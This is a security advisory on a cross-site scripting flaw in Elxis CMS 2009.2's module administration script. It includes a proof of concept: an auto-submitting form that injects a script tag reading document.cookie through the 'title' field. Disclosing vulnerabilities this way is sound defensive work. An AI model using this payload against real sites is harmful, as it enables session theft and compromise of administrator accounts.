Vulnerability ID: HTB22616 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms_polls_module.html Product: Elxis CMS Vendor: Elxis Team ( http://www.elxis.org/ ) Vulnerable Version: 2009.2 electra rev2631 and probably prior versions Vendor Notification: 20 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "administrator/components/com_modules/admin.modules.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/administrator/index2.php"; method="post" name="main" > <input type="hidden" name="title" value='Polls"><script>alert(document.cookie)</script>' /> <input type="hidden" name="showtitle" value="1" /> <input type="hidden" name="position" value="right" /> <input type="hidden" name="languages[]" value="" /> <input type="hidden" name="access" value="29" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="params[cache]" value="0" /> <input type="hidden" name="params[moduleclass_sfx]" value="" /> <input type="hidden" name="selections[]" value="0" /> <input type="hidden" name="option" value="com_modules" /> <input type="hidden" name="id" value="1" /> <input type="hidden" name="original" value="1" /> <input type="hidden" name="module" value="mod_poll" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="client_id" value="0" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
